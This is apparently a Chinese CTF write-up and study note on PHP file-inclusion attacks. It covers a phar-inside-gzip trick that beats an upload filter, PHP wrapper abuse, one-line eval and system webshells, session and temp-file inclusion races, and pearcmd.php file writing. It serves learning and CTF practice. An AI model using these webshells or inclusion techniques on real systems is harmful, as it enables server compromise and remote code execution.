include+phar做题笔记
首先我们要准备好php8.2的环境+php-fpm8.2
看源代码:
又两个php代码:
update.php:
php
<?php
session_start();
error_reporting(0);
$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];
$allowed_mime_types = [
'application/zip',
'application/x-bzip2',
'application/gzip',
'application/x-gzip',
'application/x-xz',
'application/x-7z-compressed',
];
function filter($tempfile)
{
$data = file_get_contents($tempfile);
if (
stripos($data, "__HALT_COMPILER();") !== false || stripos($data, "PK") !== false ||
stripos($data, "<?") !== false || stripos(strtolower($data), "<?php") !== false
) {
return true;
}
return false;
}
if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = random_bytes(4);
}
$SANDBOX = getcwd() . "/uploads/" . md5("supersafesalt!!!!@#$" . $_SESSION['dir']);
if (!file_exists($SANDBOX)) {
mkdir($SANDBOX);
}
if ($_SERVER["REQUEST_METHOD"] == 'POST') {
if (is_uploaded_file($_FILES['file']['tmp_name'])) {
if (filter($_FILES['file']['tmp_name']) || !isset($_FILES['file']['name'])) {
die("Nope :<");
}
// mimetype check
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($mime_type, $allowed_mime_types)) {
die('Nope :<');
}
// ext check
$ext = strtolower(pathinfo(basename($_FILES['file']['name']), PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_extensions)) {
die('Nope :<');
}
if (move_uploaded_file($_FILES['file']['tmp_name'], "$SANDBOX/" . basename($_FILES['file']['name']))) {
echo "File upload success!";
}
}
}
?>
<form enctype='multipart/form-data' action='upload.php' method='post'>
<input type='file' name='file'>
<input type="submit" value="upload"></p>
</form>
index.php:
php
<?php
session_start();
error_reporting(0);
if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = random_bytes(4);
}
if (!isset($_GET['url'])) {
die("Nope :<");
}
$include_url = basename($_GET['url']);
$SANDBOX = getcwd() . "/uploads/" . md5("supersafesalt!!!!@#$" . $_SESSION['dir']);
if (!file_exists($SANDBOX)) {
mkdir($SANDBOX);
}
if (!file_exists($SANDBOX . '/' . $include_url)) {
die("Nope :<");
}
if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) {
die("Nope :<");
}
@include($SANDBOX . '/' . $include_url);
?>
我们在这里的主要的限制是在update文件的白名单以及文件内容的过滤:
//文件类型的白名单
$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];
$allowed_mime_types = [
'application/zip',
'application/x-bzip2',
'application/gzip',
'application/x-gzip',
'application/x-xz',
'application/x-7z-compressed',
];
//文件内容的过滤
if (
stripos($data, "__HALT_COMPILER();") !== false || stripos($data, "PK") !== false ||
stripos($data, "<?") !== false || stripos(strtolower($data), "<?php") !== false
) {
return true;
而且在最后的include的我们利用的点上还用了反斜杠以及basename()这个函数杜绝了伪协议的使用
@include($SANDBOX . '/' . $include_url);
那目前只有深入底层才能解出此题:
当我们include一个文件的时候,会调用一个叫做 compile_filename 的方法:


整体思路就是我们需要:
比如我们生成了一个phar文件,然后把他打包成gz文件,当我们include这个gz文件
时,php会默认把这个gz文件解压回phar进行解析,比如我们用下面这个代码生成一个phar文件:
php
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$stub = <<<STUB
<?php
system('whoami');
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>
当我们第一次生成phar文件的时候:

但是我们再使用gzip的时候:

关键字已经完全消失了,而且我们此时的后缀也已经是gz了属于白名单中。
当我们include这个phar.phar.gz文件时,php会自动解压这个gz文件,所以最后相当于是直接include这个phar文 件,而这里有关键字:
<?php
system('whoami');
HALT_COMPILER();
?>
直接rce了。
总结一下思路
首先我们写好一个demo.php:作用是生成一个包含我们的恶意代码的phar文件,我们为了绕过名单也为了绕过内容的过滤,我们必须还要进行gzip的压缩,这样文件的后缀就变成了gz而且文件内容也彻底被压缩,识别不出来内容。
当我们upload生成的这个exploit.phar.gz的文件时,因为绕过了内容和白名单,直接就会上传成功并且把md5哈希值保存在uploads里,然后我们再用index传入我们的exploit.phar.gz,他会检验uploads中文件是否哈希值相同,相同则会include:
include的时候因为是phar文件,会进到phar_compile_file 这个函数会判断是否为压缩包,为压缩包,则会自动解压,并且执行解压后的phar文件内容,也就执行了我们的恶意代码。
c底层的调试在vscode上进行:
文件包含漏洞(File Inclusion Vulnerability)
简要描述:
是一种因后端对用户输入的文件路径参数未严格校验,导致攻击者可控制 include/require 等函数包含任意文件的安全漏洞。
利用的四个函数
include()
require()
include_once()
require_once()
| 函数 | 是否会执行文件里的 PHP 代码 | 重复包含时行为 | 失败时(文件不存在或路径错)是否致命 | 在 LFI 利用中是否好用 | 典型翻车场景 |
|---|---|---|---|---|---|
| include() | 会执行 | 每次都重新包含(可重复包含) | 只会抛出 Warning,继续执行下去 | 极好用(首选) | 几乎无坑,是 LFI 读文件、getshell 的最佳选择 |
| include_once() | 会执行 | 同一个文件只包含一次 | 只会抛出 Warning,继续执行下去 | 好用(次选) | 如果你想包含日志、Session 文件多次投毒,会失败,只执行第一次 |
| require() | 会执行 | 每次都重新包含(可重复包含) | 抛出 Fatal Error,脚本直接停止 | 危险!慎用 | 目标文件不存在或路径稍微写错 → 直接白页 500,啥也读不到 |
| require_once() | 会执行 | 同一个文件只包含一次 | 抛出 Fatal Error,脚本直接停止 | 最危险!基本别用 | 同时继承了 require 的致命错误 + once 的只包含一次,双重debuff |
可利用的伪协议:
例子:
原始代码:

file://

读出来是<? php info 然后被include当做php代码执行
file目前大多数是为了读源码用的
php://fileter:/

在这里:
“include 会执行 PHP 代码” 的前提是:它读到的内容必须是“看起来像 PHP 代码”的字节流。
一旦你用 php://filter/read=convert.base64-encode 把真正的 PHP 代码提前变成了“一串看不懂的 Base64 文字”,include 就只能老老实实把这串文字吐到页面上,根本不会去执行。
所以在这里include类似echo的作用,直接输入了我们文件内容的base64编译后的内容。
php://input:/

zip://
这是一个简单的实例:读取到我们 接执行web.txt中的代码

这是一个实例:


其实是一样的,只不过我们的web是php的文件,而且我们的payload是system($_GET('abc'))来执行我们的系统命令包括读取flag。
蚁剑连接技巧:
第一种方式:测试 payload(如纯命令 ls)无法被 eval() 解析为 PHP,导致失败。

第二种方式:外层 eval() 强制将任何传入数据视为 PHP 代码执行,即使是命令也能通过 system()、exec() 等函数包装后运行。

蚁剑连接机制:
蚁剑连接 WebShell 时,会发送一个"心跳包"或初始化请求(通常是 POST 数据),用于测试脚本是否可用。
您的 WebShell 脚本很可能是一句话木马(如 <?php @eval($_POST['ou peng']); ?>),其中 ou peng 是连接密码(蚁剑添加数据时填写的"密码"字段)。
在连接测试阶段,蚁剑会发送类似 { "pass": "some_test_data" } 的 POST 数据,其中 pass 对应脚本中的 ou peng 键。
如果直接将测试数据(如 "ls" 或蚁剑的默认测试 payload)放入 $_POST['ou peng'],脚本会尝试执行它作为 PHP 代码:
-
测试数据通常是系统命令 (如 ls、whoami)或蚁剑的后续操作指令(如文件列表查询),这些不是有效的 PHP 代码。
-
PHP 的 eval() 会解析它为无效语法,导致执行失败、返回空响应(空白页面),或抛出警告/错误(取决于 error_reporting 设置)。
结果:蚁剑 认为连接失败,无法初始化 Shell(虚拟终端、文件管理等模块无法加载)
为什么之前能连现在不行:
| 情况 | Shell 实际代码(关键一行) | 蚁剑里"数据"那一栏你填什么就能连 | 说明 |
|---|---|---|---|
| 1 | <?php @eval($_POST['ou peng']); ?> |
能连 | $_POST['ou peng'] |
| 2 | <?php assert($_POST['pass']); ?> |
能连 $_POST['pass'] |
assert = eval,老版本 PHP 默认就是 eval |
| 3 | <?php ?> |
能连 $_POST['z1'] |
带 base64 解码的常见变种 |
| 4 | <?php @$_POST['f']($_POST['ou peng']); ?> |
能连 $_POST['ou peng'] |
回调函数型一句话(f=system/eval 等) |
| 5 | <?php system($_POST['cmd']); ?> |
能连 $_POST['cmd'] |
直接执行系统命令,不走 eval |
| 6 | 你现在这个 1.php <?php // 完全没有执行代码 ?> 或只有 echo $_POST['ou peng']; |
不能连 | 收到数据后什么都不执行,当然连不上 |
例题1(包含session文件)
包含了4个页面,有登陆,注册,主页,和config,我们的想法是:注册一个名字包含payload的用户,然后包含session文件,session文件中有我们刚注册的用户名,从而实现代码的执行。
我们要利用的函数点在index.php下的include这里:

我们先注册一个用户名为我们的payload的用户,并且写入到数据库中:

但是我们发现传入action执行包含的时候并没有生效:
原因是因为base64解码的问题:(base64解码是每4位解码的而且去除一些非法字符的):
我们四位一解,去除掉非法字符后,就变成了s28(我们的payload),所以会乱码,因为s28P这个根本就没有任何实际意义,是乱码的,那么我们的后续payload的解码顺序也就被打乱了成为了乱码,那我们include识别不出来,肯定就无法执行了

解决这个问题很简单,只需要我们改变除去我们payload以外的内容,使其他的内容不影响我们的payload的解码就可以:我们可以输入一些其他的任何字符,将字符为变为100位以上,那么28就会变成100,这样就从s28变为s100就可以被解码了。


例题2(包含临时文件)
原题目:
index.php:

dir.php:

这是我们的脚本:

1、我们看到了dir.php中的include,那么这道题就是一道文件包含的题目,然后我们看到在dir.php中有临时文件的感觉,那我们就联想到可能走要包含临时文件的路。
2、既然要包含临时文件,那我们先要写入一个包含我们的payload的临时文件:我们利用php://协议下的string.strip_tags写入一个临时文件。
3、生成的临时文件都会在temp目录下,然后我们可以直接访问dir.php,因为为空的时候它会直接scandir,我们其实就可以看到生成的php[*]为后缀的临时文件。
4、临时文件中的内容就是我们先前写入的eval一句话木马,我们这里需要传入一个参数给到这个文件中,然后触发这个一句话木马。
还有另外一种解法:
是通过往phpinfo添加额外的数据,包括我们的payload,因为有着恶 意代码未执行,它会生成一个temp文件,然后因为我们在phpinfo中添加了几万个垃圾字符,在他还在加载的时候,我们用另外一个线程直接包含那个生成的临时文件,就可以

这是我们的另外一个包含temp文件的线程:

因为源代码不完整,无法解析完整的攻击链,只是一个可行的思路。
例题3(手动写cookie,创建session文件,在消除之前竞争包含文件)
前提是php开启了session_upload_progress,这样我们的session文件中就会有我们可控的值(可以是payload )
原代码很简单:
上传的html:

接收的demo.php:

我们要改包,手写一个cookie,使其生成一个session文件,:

session文件中的内容就是123,当然我们也可以写入我们payload,然后我们随便使用filter或者file去读取,包含就结束了。
这个题目的关键是竞争:
我们可以使用bp的两个intruder,一个是上传我们的session文件,一个是包含目标文件,因为有clean_up这个函数,肯定会有很多失败,我们两个重放2000次,与其做竞争,看是否能包含住。
例题4(在docker环境下的文件包含)
在docker中的日志文件,都是被链接到一个设备之中,我们在本地不好包含到:

我们强行包含:

我们总结一下方法:
1、包含日志文件(×)日志文件根本找不到
2、包含session(×)没有session
3、利用session_upload_progress来写入session文件包含(×)根本没开这个
4、利用phpinfo(√)
5、利用临时文件(√)
和例题三的第二种解法一样:我们使用phpinfo中包含payload的解法,然后使用另外一个线程去和temp删除去竞争,多试几次,可能会包含成功。
比较好的解法:(通用)
pearcmd.php:

页面源代码:

第一个if判断variables_orders中是否有S,即变量$_Sever;第二个判断是否开启了register_argc,第三个判断是否有request_info.argc,若不存在执行:

因为php的query_string会被_server('argv')去接收,而pear中获取命令行的参数也是通过_server('argv')来获取的,我们的目的是要创建一个文件,然后文件中包含了我们的payload,我们传入的参数中有我们包含的文件也就是/usr/loacal/lib/php/pearcmd.php,这个文件中有我们需要的config-create,默认创建一个文件,其接受两个参数,分别为内容和物理地址,我们要利用的函数在pear中传入,相当于给file的一个导航,让其找到那个函数。

总结:
1:底层调试环境pwndbg调试php8.2成功,vscode仍在调试中
2:利用phar及压缩文件绕过文件内容过滤和白名单实现成功。
3:利用docker容器环境还原后门,利用后门执行代码成功。
4:底层调试的环境和过程仍需要熟悉。
5:文件包含内容:利用fileter读取源码,日志文件包含成功,session文件包含成功